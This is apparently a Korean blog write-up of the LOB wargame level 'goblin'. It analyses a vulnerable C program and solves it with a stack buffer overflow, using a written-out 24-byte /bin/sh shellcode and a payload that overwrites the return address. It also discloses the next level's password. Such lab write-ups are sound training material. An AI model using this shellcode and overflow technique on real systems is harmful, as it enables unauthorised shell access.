DongDD's IT

[LOB] Level4 goblin 본문

Wargame/LOB

[LOB] Level4 goblin

DongDD 2018. 1. 17. 15:54

[LOB] Level4 goblin


Problem



이번 문제도 앞 문제들과 마찬가지로 실행파일 하나와 소스 코드 파일 하나가 주어져있었다.

조금 다른 점이라면 앞 문제들은 소스 코드가 현재 문제의 계정 소유로 되어있어 소스 코드를 수정해 buffer의 위치를 알아낸다던지 하는 것이 가능했는데 이번 문제의 소스 코드의 소유는 root로 되어있어 소스 코드 수정이 불가능하게 되어있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2) {
        printf(“argv error\n”);
    }
 
    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
    
    if(argv[1][47!= ‘\xbf’)
    {
        printf(“stack is still your friend.\n”);
        exit(0);
    }
 
    strcpy(buffer, argv[1]);    
    printf(“%s\n”, buffer);
}
 
cs


먼저 소스 코드를 확인해보았다. 앞 문제와 달리 좀 길게 작성되어 있는 프로그램이였다. 먼저 extern을 통해 환경 변수를 가져오는 것으로 보아 환경 변수에 대한 처리를 하는 것 같았다. buffer의 사이즈는 40 bytes이고 가져온 환경 변수를 memset을 통해 모두 초기화 해준다. 아마 환경 변수 사용을 막는 것 같았다.

그 후에 인자로 입력한 값을 확인해 argv[1][47], 48번째 값이 "\xbf"가 아니라면 프로그램이 종료하게 된다.

즉, 48번째 값이 "\xbf"여야 strcpy로 넘어가 BOF를 시도할 수 있을 것 같았다.


buffer(40 bytes) + sfp(4 bytes) + ret(4 bytes)

이기 때문에 return address의 첫번째 값이 "\xbf"여야 한다는 것이다. 즉, 이번 문제에서는 앞 문제들에서 사용했던 RTL기법을 사용할 수 없다는 것을 알 수 있었고 bf로 시작하는 stack 영역의 값을 사용해야한다는 것을 알 수 있었다.



Solution


이번 문제에서는 shell code를 통해 해결하는 방법을 선택했다. 푸는 도중에 막히는 부분이 있어 문제를 해결하는데 시간이 많이 걸렸다.


1. Shell code를 이용한 BOF


gate문제를 풀었던 방법과 마찬가지로 shell code를 사용했다.



먼저 gdb를 통한 분석을 하기 위해 orc 파일을 rrc라는 이름을 가진 파일로 copy했다.

그 후에 strcpy 밑 부분에 break point를 설정하고 48bytes의 크기를 갖는 인자를 입력해 buffer의 시작 주소를 알 수 있었다.


buffer의 시작 주소 : 0xbffffad0


예전에 어디선가 shell code를 사용할 때 return address와의 거리가 일정 거리 이상되야한다는 것을 봤어서 앞에서 사용했던 33bytes shell code 대신 24bytes의 shell code를 사용했다.


Shell code :

 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 


이 두가지 값을 가지고 Payload를 작성했다.


Payload = shell code(24bytes) + dummy(20bytes, buffer(16)+sfp) + ret(buffer의 시작 주소)



위 Payload를 가지고 쉽게 통과할 수 있을 거라 생각했는데 실패했다. 실패한 이후에 여러 가지 시도를 해보느라 오랜 시간이 걸렸다. 결국 문제를 푸는 방법은 알았지만 왜 이렇게 되는지 확실히는 파악하지 못했다.

위에서 작성한 payload를 orc 복사 파일 rrc에 인자로 넣어주고 segmentation fault가 나오는 것을 gdb core를 통해 분석해보았다.

gdb core를 통해 실행하니 buffer의 시작 주소로 사용했던 0xbffffad0에 문제가 있다는 것 같았다.

그래서 0xbffffad0에 들어가 있는 값을 확인해보니 예상했던 buffer의 값이 아닌 다른 값이 들어가있었다.

넣은 shell code는 0xbffffae0에 있는 것을 볼 수 있었다.

정확히 왜 shell code가 0xbffffae0에 있는 지는 잘 모르겠지만 buffer의 시작 주소를 이 주소로 바꿔서 시도해보니 shell을 얻을 수 있었다.







**************     Answer & Flag     **************


1. Shell code 이용


Payload = shell code(24bytes) + dummy(20bytes, buffer(16)+sfp) + ret(buffer의 시작 주소)


"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "a"*20+ "\xe0\xfa\xff\xbf"






Next ID : orc

Next PW : cantata

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level6 wolfman  (0) 2018.01.19
[LOB] Level5 orc  (0) 2018.01.18
[LOB] Level3 cobolt  (0) 2018.01.16
[LOB] Level2 gremlin  (0) 2018.01.11
[LOB] Level1 gate  (0) 2018.01.09
Comments